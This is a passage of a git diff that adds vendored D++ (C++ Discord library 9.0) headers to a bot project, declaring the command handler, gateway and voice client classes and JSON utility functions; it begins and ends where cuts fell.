slash command or a message. Both require different + * response facilities but we want this to be transparent if you use the command + * handler class. + */ + struct DPP_EXPORT command_source { + /** + * @brief Sending guild id + */ + snowflake guild_id = 0; + /** + * @brief Source channel id + */ + snowflake channel_id = 0; + /** + * @brief Command ID of a slash command + */ + snowflake command_id = 0; + /** + * @brief Token for sending a slash command reply + */ + std::string command_token; + /** + * @brief The user who issued the command + */ + user issuer; + }; + + /** + * @brief The function definition for a command handler. Expects a command name string, + * and a list of command parameters. + */ + typedef std::function command_handler; + + /** + * @brief Represents the details of a command added to the command handler class. + */ + struct DPP_EXPORT command_info_t { + /** + * @brief Function reference for the handler. This is std::function so it can represent + * a class member, a lambda or a raw C function pointer. + */ + command_handler func; + /** + * @brief Parameters requested for the command, with their types + */ + parameter_registration_t parameters; + /** + * @brief Guild ID the command exists on, or 0 to be present on all guilds + */ + snowflake guild_id; + }; + + + /** + * @brief The commandhandler class represents a group of commands, prefixed or slash commands with handling functions. + * + * It can automatically register slash commands, and handle routing of messages and interactions to separated command handler + * functions. + */ + class DPP_EXPORT commandhandler { + private: + /** + * @brief List of guild commands to bulk register + */ + std::map> bulk_registration_list_guild; + /** + * @brief List of global commands to bulk register + */ + std::vector bulk_registration_list_global; + public: + /** + * @brief Commands in the handler + */ + std::unordered_map commands; + + /** + * @brief Valid prefixes + */ + std::vector prefixes; + + /** + * @brief Set to true automatically if one of the prefixes added is "/" + */ + bool slash_commands_enabled; + + /** + * @brief Cluster we are attached to for issuing REST calls + */ + class cluster* owner; + + /** + * @brief Application ID + */ + snowflake app_id; + + /** + * @brief Interaction event handle + */ + event_handle interactions; + + /** + * @brief Message event handle + */ + event_handle messages; + + /** + * @brief Returns true if the string has a known prefix on the start. + * Modifies string to remove prefix if it returns true. + * + * @param str String to check and modify + * @return true string contained a prefix, prefix removed from string + * @return false string did not contain a prefix + */ + bool string_has_prefix(std::string& str); + + public: + + /** + * @brief Construct a new commandhandler object + * + * @param o Owning cluster to attach to + * @param auto_hook_events Set to true to automatically hook the on_interaction_create + * and on_message events. You should not need to set this to false unless you have a specific + * use case, as D++ supports multiple listeners to an event, so will allow the commandhandler + * to hook to your command events without disrupting other uses for the events you may have. + * @param application_id The application id of the bot. If not specified, the class will + * look within the cluster object and use cluster::me::id instead. + */ + commandhandler(class cluster* o, bool auto_hook_events = true, snowflake application_id = 0); + + /** + * @brief Destroy the commandhandler object + */ + ~commandhandler(); + + /** + * @brief Set the application id after construction + * + * @param o Owning cluster to attach to + */ + commandhandler& set_owner(class cluster* o); + + /** + * @brief Add a prefix to the command handler + * + * @param prefix Prefix to be handled by the command handler + * @return commandhandler& reference to self + */ + commandhandler& add_prefix(const std::string& prefix); + + /** + * @brief Add a command to the command handler + * + * @param command Command to be handled. + * Note that if any one of your prefixes is "/" this will attempt to register + * a global command using the API and you will receive notification of this command + * via an interaction event. + * @param handler Handler function + * @param parameters Parameters to use for the command + * @param description The description of the command, shown for slash commands + * @param guild_id The guild ID to restrict the command to. For slash commands causes registration of a guild command as opposed to a global command. + * @return commandhandler& reference to self + * @throw dpp::logic_exception if application ID cannot be determined + */ + commandhandler& add_command(const std::string& command, const parameter_registration_t& parameters, command_handler handler, const std::string& description = "", snowflake guild_id = 0); + + /** + * @brief Register all slash commands with Discord + * This method must be called at least once if you are using the "/" prefix to mark the + * end of commands being added to the handler. Note that this uses bulk registration and will replace any + * existing slash commands. + * + * Note that if you have previously registered your commands and they have not changed, you do + * not need to call this again. Discord retains a cache of previously added commands. + * + * @note Registration of global slash commands can take up to an hour to appear on Discord. + * This is a Discord API limitation. For rapid testing use guild specific commands by specifying + * a guild ID when declaring the command. + * + * @return commandhandler& Reference to self for chaining method calls + */ + commandhandler& register_commands(); + + /** + * @brief Route a command from the on_message_create function. + * Call this method from within your on_message_create with the received + * dpp::message object if you have disabled automatic registration of events. + * + * @param msg message to parse + */ + void route(const dpp::message& msg); + + /** + * @brief Route a command from the on_interaction_create function. + * Call this method from your on_interaction_create with the received + * dpp::interaction_create_t object if you have disabled automatic registration of events. + * + * @param event command interaction event to parse + */ + void route(const struct interaction_create_t& event); + + /** + * @brief Reply to a command. + * You should use this method rather than cluster::message_create as + * the way you reply varies between slash commands and message commands. + * Note you should ALWAYS reply. Slash commands will emit an ugly error + * to the user if you do not emit some form of reply within 3 seconds. + * + * @param m message to reply with. + * @param source source of the command + * @param callback User function to execute when the api call completes. + */ + void reply(const dpp::message& m, command_source source, command_completion_event_t callback = {}); + + /** + * @brief Reply to a command without a message, causing the discord client + * to display "Bot name is thinking...". + * The "thinking" message will persist for a maximum of 15 minutes. + * This counts as a reply for a slash command. Slash commands will emit an + * ugly error to the user if you do not emit some form of reply within 3 + * seconds. + * + * @param source source of the command + * @param callback User function to execute when the api call completes. + */ + void thinking(command_source source, command_completion_event_t callback = {}); + + /* Easter egg */ + void thonk(command_source source, command_completion_event_t callback = {}); + + }; + +}; diff --git a/MyBot/dependencies/include/dpp-9.0/dpp/discord.h b/MyBot/dependencies/include/dpp-9.0/dpp/discord.h new file mode 100644 index 0000000..4af6b99 --- /dev/null +++ b/MyBot/dependencies/include/dpp-9.0/dpp/discord.h @@ -0,0 +1,374 @@ +/************************************************************************************ + * + * D++, A Lightweight C++ library for Discord + * + * Copyright 2021 Craig Edwards and D++ contributors + * (https://github.com/brainboxdotcc/DPP/graphs/contributors) + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + ************************************************************************************/ +#pragma once +#include +#include +#include +#include +#include +#include + +/** + * @brief The main namespace for D++ functions. classes and types + */ +namespace dpp { + /** @brief A 64 bit unsigned value representing many things on discord. + * Discord calls the value a 'snowflake' value. + */ + typedef uint64_t snowflake; + + /** @brief The managed class is the base class for various types that can + * be stored in a cache that are identified by a dpp::snowflake id. + */ + class DPP_EXPORT managed { + public: + /** + * @brief Unique ID of object set by Discord. + * This value contains a timestamp, worker ID, internal server ID, and an incrementing value. + * Only the timestamp is relavent to us as useful metadata. + */ + snowflake id; + /** + * @brief Constructor, initialises ID + * @param nid ID to set + */ + managed(const snowflake nid = 0); + /** + * @brief Destroy the managed object + */ + virtual ~managed() = default; + + /** + * @brief Get the creation time of this object according to Discord. + * + * @return double creation time inferred from the snowflake ID. + * The minimum possible value is the first second of 2015. + */ + double get_creation_time() const; + }; + + /** @brief Supported image types for profile pictures */ + enum image_type { + /// image/png + i_png, + /// image/jpeg + i_jpg, + /// image/gif + i_gif + }; + + /** @brief Log levels */ + enum loglevel { + /// Trace + ll_trace = 0, + /// Debug + ll_debug, + /// Information + ll_info, + /// Warning + ll_warning, + /// Error + ll_error, + /// Critical + ll_critical + }; + + /** + * @brief Timestamp formats for dpp::utility::timestamp() + * + * @note These values are the actual character values specified by the Discord API + * and should not be changed unless the Discord API changes the specification! + * They have been sorted into numerical order of their ASCII value to keep C++ happy. + */ + enum time_format : uint8_t { + tf_long_date = 'D', /// "20 April 2021" - Long Date + tf_long_datetime = 'F', /// "Tuesday, 20 April 2021 16:20" - Long Date/Time + tf_relative_time = 'R', /// "2 months ago" - Relative Time + tf_long_time = 'T', /// "16:20:30" - Long Time + tf_short_date = 'd', /// "20/04/2021" - Short Date + tf_short_datetime = 'f', /// "20 April 2021 16:20" - Short Date/Time + tf_short_time = 't', /// "16:20" - Short Time + }; + + /** @brief Utility helper functions, generally for logging */ + namespace utility { + + typedef std::function cmd_result_t; + + /** + * @brief Run a commandline program asyncronously. The command line program + * is spawned in a separate std::thread, and when complete, its output from + * stdout is passed to the callback function in its string prameter. For example + * ``` + * dpp::utility::exec("/bin/ls", {"-al"}, [](const std::string& output) { + * std::cout << "Output of 'ls -al': " << output << "\n"; + * }); + * ``` + * + * @param cmd The command to run. + * @param parameters Command line parameters. Each will be escaped using `std::quoted`. + * @param callback The callback to call on completion. + */ + void DPP_EXPORT exec(const std::string& cmd, std::vector parameters = {}, cmd_result_t callback = {}); + + /** + * @brief Return a mentionable timestamp (used in a discord embed) + * + * @param ts Time stamp to convert + * @param tf Format of timestamp using dpp::utility::time_format + * @return std::string + */ + std::string DPP_EXPORT timestamp(time_t ts, time_format tf); + + /** + * @brief Returns urrent date and time + * + * @return std::string Current date and time + */ + std::string DPP_EXPORT current_date_time(); + /** + * @brief Convert a dpp::loglevel enum value to a string + * + * @param in log level to convert + * @return std::string string form of log level + */ + std::string DPP_EXPORT loglevel(dpp::loglevel in); + + /** + * @brief Store a 128 bit icon hash (profile picture, server icon etc) + * as a 128 bit binary value made of two uint64_t. + * Has a constructor to build one from a string, and a method to fetch + * the value back in string form. + */ + struct DPP_EXPORT iconhash { + + uint64_t first; //!< High 64 bits + uint64_t second; //!< Low 64 bits + + /** + * @brief Construct a new iconcash object + */ + iconhash(); + + /** + * @brief Construct a new iconhash object + * + * @param hash String hash to construct from. + * Must contain a 32 character hex string. + * + * @throws std::length_error if the provided + * string is not exactly 32 characters long. + */ + iconhash(const std::string &hash); + + /** + * @brief Assign from std::string + * + * @param assignment string to assign from. + * + * @throws std::length_error if the provided + * string is not exactly 32 characters long. + */ + iconhash& operator=(const std::string &assignment); + + /** + * @brief Change value of iconhash object + * + * @param hash String hash to change to. + * Must contain a 32 character hex string. + * + * @throws std::length_error if the provided + * string is not exactly 32 characters long. + */ + void set(const std::string &hash); + + /** + * @brief Convert iconhash back to 32 character + * string value. + * + * @return std::string Hash value + */ + std::string to_string() const; + }; + + /** + * @brief Return the current time with fractions of seconds. + * This is a unix epoch time with the fractional seconds part + * after the decimal place. + * + * @return double time with fractional seconds + */ + double DPP_EXPORT time_f(); + + /** + * @brief Returns true if D++ was built with voice support + * + * @return bool True if voice support is compiled in (libsodium/libopus) + */ + bool DPP_EXPORT has_voice(); + + /** + * @brief Convert a byte count to display value + * + * @param c number of bytes + * @return std::string display value suffixed with M, G, T where necessary + */ + std::string DPP_EXPORT bytes(uint64_t c); + + /** + * @brief A class used to represent an uptime in hours, minutes, + * seconds and days, with helper functions to convert from time_t + * and display as a string. + */ + struct DPP_EXPORT uptime { + uint16_t days; //!< Number of days + uint8_t hours; //!< Number of hours + uint8_t mins; //!< Number of minutes + uint8_t secs; //!< Number of seconds + + /** + * @brief Construct a new uptime object + */ + uptime(); + + /** + * @brief Construct a new uptime object + * + * @param diff A time_t to initialise the object from + */ + uptime(time_t diff); + + /** + * @brief Get uptime as string + * + * @return std::string Uptime as string + */ + std::string to_string(); + + /** + * @brief Get uptime as seconds + * + * @return uint64_t Uptime as seconds + */ + uint64_t to_secs(); + + /** + * @brief Get uptime as milliseconds + * + * @return uint64_t Uptime as milliseconds + */ + uint64_t to_msecs(); + }; + + /** + * @brief Convert floats to RGB for sending in embeds + * + * @param red red value, between 0 and 1 inclusive + * @param green green value, between 0 and 1 inclusive + * @param blue blue value, between 0 and 1 inclusive + * @return uint32_t returned integer colour value + */ + uint32_t rgb(float red, float green, float blue); + + /** + * @brief Convert ints to RGB for sending in embeds + * + * @param red red value, between 0 and 255 inclusive + * @param green green value, between 0 and 255 inclusive + * @param blue blue value, between 0 and 255 inclusive + * @return uint32_t returned integer colour value + */ + uint32_t rgb(int red, int green, int blue); + + /** + * @brief Output hex values of a section of memory for debugging + * + * @param data The start of the data to display + * @param length The length of data to display + */ + std::string DPP_EXPORT debug_dump(uint8_t* data, size_t length); + + /** + * @brief Returns the length of a UTF-8 string in codepoints + * + * @param str string to count length of + * @return size_t length of string (0 for invalid utf8) + */ + size_t DPP_EXPORT utf8len(const std::string &str); + + /** + * @brief Return substring of a UTF-8 encoded string in codepoints + * + * @param str string to return substring from + * @param start start codepoint offset + * @param length length in codepoints + * @return std::string Substring in UTF-8 or empty string if invalid UTF-8 passed in + */ + std::string DPP_EXPORT utf8substr(const std::string& str, std::string::size_type start, std::string::size_type length); + + /** + * @brief Read a whole file into a std::string. + * Be sure you have enough memory to read the file, if you are reading a large file. + * @note Be aware this function can block! If you are regularly reading large files, consider caching them. + * @param filename The path to the file to read + * @return std::string The file contents + * @throw dpp::exception on failure to read the entire file + */ + std::string DPP_EXPORT read_file(const std::string& filename); + + /** + * @brief Validate a string value + * In the event the length of the string is less than _min, then an exception of type dpp:length_exception + * will be thrown. If the string is longer than _max UTF8 codepoints it will be truncated to fit. + * + * @param value The value to validate + * @param _min Minimum length + * @param _max Maximum length + * @param exception_message Exception message to throw if value length < _min + * @return std::string Validated string, truncated if neccessary. + * @throw dpp::length_exception if value UTF8 length < _min + */ + std::string validate(const std::string& value, size_t _min, size_t _max, const std::string& exception_message); + }; + +}; + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include diff --git a/MyBot/dependencies/include/dpp-9.0/dpp/discordclient.h b/MyBot/dependencies/include/dpp-9.0/dpp/discordclient.h new file mode 100644 index 0000000..f239b1a --- /dev/null +++ b/MyBot/dependencies/include/dpp-9.0/dpp/discordclient.h @@ -0,0 +1,427 @@ +/************************************************************************************ + * + * D++, A Lightweight C++ library for Discord + * + * Copyright 2021 Craig Edwards and D++ contributors + * (https://github.com/brainboxdotcc/DPP/graphs/contributors) + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + ************************************************************************************/ + +#pragma once +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +using json = nlohmann::json; + +#define DISCORD_API_VERSION "9" +#define DEFAULT_GATEWAY "gateway.discord.gg" +#define API_PATH "/api/v" DISCORD_API_VERSION +namespace dpp { + +// Forward declarations +class cluster; + +/** + * @brief This is an opaque class containing zlib library specific structures. + * We define it this way so that the public facing D++ library doesnt require + * the zlib headers be available to build against it. + */ +class zlibcontext; + +/** + * @brief Represents a connection to a voice channel. + * A client can only connect to one voice channel per guild at a time, so these are stored in a map + * in the dpp::discord_client keyed by guild_id. + */ +class DPP_EXPORT voiceconn { + /** + * @brief Owning dpp::discord_client instance + */ + class discord_client* creator; +public: + /** + * @brief Voice Channel ID + */ + snowflake channel_id; + + /** + * @brief Websocket hostname for status + */ + std::string websocket_hostname; + + /** + * @brief Voice Voice session ID + */ + std::string session_id; + + /** + * @brief Voice websocket token + */ + std::string token; + + /** + * @brief voice websocket client + */ + class discord_voice_client* voiceclient; + + /** + * @brief Construct a new voiceconn object + */ + voiceconn() = default; + + /** + * @brief Construct a new voiceconn object + * + * @param o owner + * @param _channel_id voice channel id + */ + voiceconn(class discord_client* o, snowflake _channel_id); + + /** + * @brief Destroy the voiceconn object + */ + ~voiceconn(); + + /** + * @brief return true if the connection is ready to connect + * (has hostname, token and session id) + * + * @return true if ready to connect + */ + bool is_ready(); + + /** + * @brief return true if the connection is active (websocket exists) + * + * @return true if has an active websocket + */ + bool is_active(); + + /** + * @brief Create websocket object and connect it. + * Needs hosname, token and session_id to be set or does nothing. + * + * @param guild_id Guild to connect to the voice channel on + */ + void connect(snowflake guild_id); + + /** + * @brief Disconnect from the currently connected voice channel + */ + void disconnect(); +}; + +/** @brief Implements a discord client. Each discord_client connects to one shard and derives from a websocket client. */ +class DPP_EXPORT discord_client : public websocket_client +{ +protected: + /** + * @brief Needed so that voice_state_update can call dpp::discord_client::disconnect_voice_internal + */ + friend class dpp::events::voice_state_update; + + /** + * @brief Needed so that guild_create can request member chunks if you have the correct intents + */ + friend class dpp::events::guild_create; + + /** + * @brief Needed to allow cluster::set_presence to use the ETF functions + */ + friend class dpp::cluster; + + /** + * @brief Disconnect from the connected voice channel on a guild + * + * @param guild_id The guild who's voice channel you wish to disconnect from + * @param send_json True if we shold send a json message confirming we are leaving the VC + * Should be set to false if we already receive this message in an event. + */ + void disconnect_voice_internal(snowflake guild_id, bool send_json = true); + +private: + + /** Mutex for message queue */ + std::mutex queue_mutex; + + /** Queue of outbound messages */ + std::deque message_queue; + + /** Thread this shard is executing on */ + std::thread* runner; + + /** + * @brief Run shard loop under a thread. + * Calls discord_client::run() from within a std::thread. + */ + void thread_run(); + + /** If true, stream compression is enabled */ + bool compressed; + + /** ZLib decompression buffer */ + unsigned char* decomp_buffer; + + /** Decompressed string */ + std::string decompressed; + + /** + * @brief This object contains the various zlib structs which + * are not usable by the user of the library directly. They + * are wrapped within this opaque object so that this header + * file does not bring in a dependency on zlib.h. + */ + zlibcontext* zlib; + + /** Total decompressed received bytes */ + uint64_t decompressed_total; + + /** Last connect time of cluster */ + time_t connect_time; + + /** Time last ping sent to websocket, in fractional seconds */ + double ping_start; + + /** ETF parser for when in ws_etf mode */ + class etf_parser* etf; + + /** + * @brief Convert a JSON object to string. + * In JSON protocol mode, call json.dump(), and in ETF mode, + * call etf::build(). + * + * @param json nlohmann::json object to convert + * @return * std::string string output in the correct format + */ + std::string jsonobj_to_string(const nlohmann::json& json); + + /** + * @brief Initialise ZLib (websocket compression) + * @throw dpp::exception if ZLib cannot be initialised + */ + void setup_zlib(); + + /** + * @brief Shut down ZLib (websocket compression) + */ + void end_zlib(); + +public: + /** Owning cluster */ + class dpp::cluster* creator; + + /** Heartbeat interval for sending heartbeat keepalive */ + uint32_t heartbeat_interval; + + /** Last heartbeat */ + time_t last_heartbeat; + + /** Shard ID of this client */ + uint32_t shard_id; + + /** Total number of shards */ + uint32_t max_shards; + + /** Thread ID */ + std::thread::native_handle_type thread_id; + + /** Last sequence number received, for resumes and pings */ + uint64_t last_seq; + + /** Discord bot token */ + std::string token; + + /** Privileged gateway intents */ + uint32_t intents; + + /** Discord session id */ + std::string sessionid; + + /** Mutex for voice connections map */ + std::mutex voice_mutex; + + /** Resume count */ + uint32_t resumes; + + /** Reconnection count */ + uint32_t reconnects; + + /** Websocket latency in fractional seconds */ + double websocket_ping; + + /** True if READY or RESUMED has been received */ + bool ready; + + /** Last heartbeat ACK (opcode 11) */ + time_t last_heartbeat_ack; + + /** Current websocket protocol, currently either ETF or JSON */ + websocket_protocol_t protocol; + + /** List of voice channels we are connecting to keyed by guild id */ + std::unordered_map connecting_voice_channels; + + /** Log a message to whatever log the user is using. + * The logged message is passed up the chain to the on_log event in user code which can then do whatever + * it wants to do with it. + * @param severity The log level from dpp::loglevel + * @param msg The log message to output + */ + virtual void log(dpp::loglevel severity, const std::string &msg) const; + + /** Handle an event (opcode 0) + * @param event Event name, e.g. MESSAGE_CREATE + * @param j JSON object for the event content + * @param raw Raw JSON event string + */ + virtual void handle_event(const std::string &event, json &j, const std::string &raw); + + /** + * @brief Get the Guild Count for this shard + * + * @return uint64_t guild count + */ + uint64_t get_guild_count(); + + /** + * @brief Get the Member Count for this shard + * + * @return uint64_t member count + */ + uint64_t get_member_count(); + + /** + * @brief Get the Channel Count for this shard + * + * @return uint64_t channel count + */ + uint64_t get_channel_count(); + + /** Fires every second from the underlying socket I/O loop, used for sending heartbeats */ + virtual void one_second_timer(); + + /** + * @brief Queue a message to be sent via the websocket + * + * @param j The JSON data of the message to be sent + * @param to_front If set to true, will place the message at the front of the queue not the back + * (this is for urgent messages such as heartbeat, presence, so they can take precedence over + * chunk requests etc) + */ + void queue_message(const std::string &j, bool to_front = false); + + /** + * @brief Clear the outbound message queue + */ + void clear_queue(); + + /** + * @brief Get the size of the outbound message queue + * + * @return The size of the queue + */ + size_t get_queue_size(); + + /** + * @brief Returns true if the shard is connected + * + * @return True if connected + */ + bool is_connected(); + + /** + * @brief Returns the connection time of the shard + * + * @return dpp::utility::uptime Detail of how long the shard has been connected for + */ + dpp::utility::uptime get_uptime(); + + /** + * @brief Construct a new discord_client object + * + * @param _cluster The owning cluster for this shard + * @param _shard_id The ID of the shard to start + * @param _max_shards The total number of shards across all clusters + * @param _token The bot token to use for identifying to the websocket + * @param intents Privileged intents to use, a bitmask of values from dpp::intents + * @param compressed True if the received data will be gzip compressed + * @param ws_protocol Websocket protocol to use for the connection, JSON or ETF + */ + discord_client(dpp::cluster* _cluster, uint32_t _shard_id, uint32_t _max_shards, const std::string &_token, uint32_t intents = 0, bool compressed = true, websocket_protocol_t ws_protocol = ws_json); + + /** Destructor */ + virtual ~discord_client(); + + /** Get decompressed total bytes received */ + uint64_t get_decompressed_bytes_in(); + + /** Handle JSON from the websocket. + * @param buffer The entire buffer content from the websocket client + * @returns True if a frame has been handled + */ + virtual bool handle_frame(const std::string &buffer); + + /** Handle a websocket error. + * @param errorcode The error returned from the websocket + */ + virtual void error(uint32_t errorcode); + + /** + * @brief Start and monitor I/O loop. + * Note that this is a blocking call and is usually executed within a + * thread by whatever creates the object. + */ + void run(); + + /** + * @brief Connect to a voice channel + * + * @param guild_id Guild where the voice channel is + * @param channel_id Channel ID of the voice channel + * @param self_mute True if the bot should mute itself + * @param self_deaf True if the bot should deafen itself + */ + void connect_voice(snowflake guild_id, snowflake channel_id, bool self_mute = false, bool self_deaf = false); + + /** + * @brief Disconnect from the connected voice channel on a guild + * + * @param guild_id The guild who's voice channel you wish to disconnect from + */ + void disconnect_voice(snowflake guild_id); + + /** + * @brief Get the dpp::voiceconn object for a specific guild on this shard. + * + * @param guild_id The guild ID to retrieve the voice connection for + * @return voiceconn* The voice connection for the guild, or nullptr if there is no + * voice connection to this guild. + */ + voiceconn* get_voice(snowflake guild_id); +}; + +}; diff --git a/MyBot/dependencies/include/dpp-9.0/dpp/discordevents.h b/MyBot/dependencies/include/dpp-9.0/dpp/discordevents.h new file mode 100644 index 0000000..2ef1355 --- /dev/null +++ b/MyBot/dependencies/include/dpp-9.0/dpp/discordevents.h @@ -0,0 +1,156 @@ +/************************************************************************************ + * + * D++, A Lightweight C++ library for Discord + * + * Copyright 2021 Craig Edwards and D++ contributors + * (https://github.com/brainboxdotcc/DPP/graphs/contributors) + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + ************************************************************************************/ +#pragma once + +#include + +namespace dpp { + +/** @brief Returns a snowflake id from a json field value, if defined, else returns 0 + * @param j nlohmann::json instance to retrieve value from + * @param keyname key name to check for a value + * @return found value + */ +uint64_t snowflake_not_null(const nlohmann::json* j, const char *keyname); + +/** @brief Sets a snowflake id from a json field value, if defined, else does nothing + * @param j nlohmann::json instance to retrieve value from + * @param keyname key name to check for a value + * @param v Value to change + */ +void set_snowflake_not_null(const nlohmann::json* j, const char *keyname, uint64_t &v); + +/** @brief Returns a string from a json field value, if defined, else returns an empty string. + * @param j nlohmann::json instance to retrieve value from + * @param keyname key name to check for a value + * @return found value + */ +std::string string_not_null(const nlohmann::json* j, const char *keyname); + +/** @brief Sets a string from a json field value, if defined, else does nothing + * @param j nlohmann::json instance to retrieve value from + * @param keyname key name to check for a value + * @param v Value to change + */ +void set_string_not_null(const nlohmann::json* j, const char *keyname, std::string &v); + +/** @brief Returns a 64 bit unsigned integer from a json field value, if defined, else returns 0. + * DO NOT use this for snowflakes, as usually snowflakes are wrapped in a string! + * @param j nlohmann::json instance to retrieve value from + * @param keyname key name to check for a value + * @return found value + */ +uint64_t int64_not_null(const nlohmann::json* j, const char *keyname); + +/** @brief Sets an unsigned 64 bit integer from a json field value, if defined, else does nothing + * @param j nlohmann::json instance to retrieve value from + * @param keyname key name to check for a value + * @param v Value to change + */ +void set_int64_not_null(const nlohmann::json* j, const char *keyname, uint64_t &v); + +/** @brief Returns a 32 bit unsigned integer from a json field value, if defined, else returns 0 + * @param j nlohmann::json instance to retrieve value from + * @param keyname key name to check for a value + * @return found value + */ +uint32_t int32_not_null(const nlohmann::json* j, const char *keyname); + +/** @brief Sets an unsigned 32 bit integer from a json field value, if defined, else does nothing + * @param j nlohmann::json instance to retrieve value from + * @param keyname key name to check for a value + * @param v Value to change + */ +void set_int32_not_null(const nlohmann::json* j, const char *keyname, uint32_t &v); + +/** @brief Returns a 16 bit unsigned integer from a json field value, if defined, else returns 0 + * @param j nlohmann::json instance to retrieve value from + * @param keyname key name to check for a value + * @return found value + */ +uint16_t int16_not_null(const nlohmann::json* j, const char *keyname); + +/** @brief Sets an unsigned 16 bit integer from a json field value, if defined, else does nothing + * @param j nlohmann::json instance to retrieve value from + * @param keyname key name to check for a value + * @param v Value to change + */ +void set_int16_not_null(const nlohmann::json* j, const char *keyname, uint16_t &v); + +/** @brief Returns an 8 bit unsigned integer from a json field value, if defined, else returns 0 + * @param j nlohmann::json instance to retrieve value from + * @param keyname key name to check for a value + * @return found value + */ +uint8_t int8_not_null(const nlohmann::json* j, const char *keyname); + +/** @brief Sets an unsigned 8 bit integer from a json field value, if defined, else does nothing + * @param j nlohmann::json instance to retrieve value from + * @param keyname key name to check for a value + * @param v Value to change + */ +void set_int8_not_null(const nlohmann::json* j, const char *keyname, uint8_t &v); + +/** @brief Returns a boolean value from a json field value, if defined, else returns false + * @param j nlohmann::json instance to retrieve value from + * @param keyname key name to check for a value + * @return found value + */ +bool bool_not_null(const nlohmann::json* j, const char *keyname); + +/** @brief Sets a boolean from a json field value, if defined, else does nothing + * @param j nlohmann::json instance to retrieve value from + * @param keyname key name to check for a value + * @param v Value to change + */ +void set_bool_not_null(const nlohmann::json* j, const char *keyname, bool &v); + +/** @brief Returns a time_t from an ISO8601 timestamp field in a json value, if defined, else returns + * epoch value of 0. + * @param j nlohmann::json instance to retrieve value from + * @param keyname key name to check for a value + * @return found value + */ +time_t ts_not_null(const nlohmann::json* j, const char *keyname); + +/** @brief Sets an timestamp from a json field value containing an ISO8601 string, if defined, else does nothing + * @param j nlohmann::json instance to retrieve value from + * @param keyname key name to check for a value + * @param v Value to change + */ +void set_ts_not_null(const nlohmann::json* j, const char *keyname, time_t &v); + +/** @brief Base64 encode data into a string. + * @param buf Raw binary buffer + * @param buffer_length Buffer length to encode + * @return The base64 encoded string + */ +std::string base64_encode(unsigned char const* buf, unsigned int buffer_length); + +/** + * @brief Convert time_t unix epoch to std::string ISO date/time + * + * @param ts Timestamp to convert + * @return std::string Converted time/date string + */ +std::string ts_to_string(time_t ts); + +}; diff --git a/MyBot/dependencies/include/dpp-9.0/dpp/discordvoiceclient.h b/MyBot/dependencies/include/dpp-9.0/dpp/discordvoiceclient.h new file mode 100644 index 0000000..f7c846a --- /dev/null +++ b/MyBot/dependencies/include/dpp-9.0/dpp/discordvoiceclient.h @@ -0,0 +1,666 @@ +/************************************************************************************ + * + * D++, A Lightweight C++ library for Discord + * + * Copyright 2021 Craig Edwards and D++ contributors + * (https://github.com/brainboxdotcc/DPP/graphs/contributors) + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + ************************************************************************************/ +#pragma once + +#include + +#include + +#ifdef _WIN32 +#include +#include +#include +#else +#include +#include +#include +#include +#include +#include +#endif + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +using json = nlohmann::json; + +struct OpusDecoder; +struct OpusEncoder; +struct OpusRepacketizer; + +namespace dpp { + +// Forward declaration +class cluster; + +/** + * @brief An opus-encoded RTP packet to be sent out to a voice channel + */ +struct DPP_EXPORT voice_out_packet { + /** + * @brief Each string is a UDP packet. + * Generally these will be RTP. + */ + std::string packet; + /** + * @brief Duration of packet + */ + uint64_t duration; +}; + +#define AUDIO_TRACK_MARKER (uint16_t)0xFFFF + +/** @brief Implements a discord voice connection. + * Each discord_voice_client connects to one voice channel and derives from a websocket client. + */ +class DPP_EXPORT discord_voice_client : public websocket_client +{ + /** Mutex for outbound packet stream */ + std::mutex stream_mutex; + + /** Mutex for message queue */ + std::mutex queue_mutex; + + /** Queue of outbound messages */ + std::deque message_queue; + + /** Thread this connection is executing on */ + std::thread* runner; + + /** Run shard loop under a thread */ + void thread_run(); + + /** Last connect time of voice session */ + time_t connect_time; + + /** + * @brief IP of UDP/RTP endpoint + */ + std::string ip; + + /** + * @brief Port number of UDP/RTP endpoint + */ + uint16_t port; + + /** + * @brief SSRC value + */ + uint64_t ssrc; + + /** + * @brief List of supported audio encoding modes + */ + std::vector modes; + + /** + * @brief Timescale in nanoseconds + */ + uint64_t timescale; + + /** + * @brief Output buffer + */ + std::vector outbuf; + + /** Input buffer. Each string is a received UDP + * packet. These will usually be RTP. + */ + std::vector inbuf; + + /** If true, audio packet sending is paused + */ + bool paused; + +#ifdef HAVE_VOICE + /** libopus encoder + */ + OpusEncoder* encoder; + + /** libopus decoder + */ + OpusDecoder* decoder; + + /** libopus repacketizer + * (merges frames into one packet) + */ + OpusRepacketizer* repacketizer; +#else + /** libopus encoder + */ + void* encoder; + + /** libopus decoder + */ + void* decoder; + + /** libopus repacketizer + * (merges frames into one packet) + */ + void* repacketizer; +#endif + + /** File descriptor for UDP connection + */ + dpp::socket fd; + + /** Socket address of voice server + */ + sockaddr_in servaddr; + + /** Secret key for encrypting 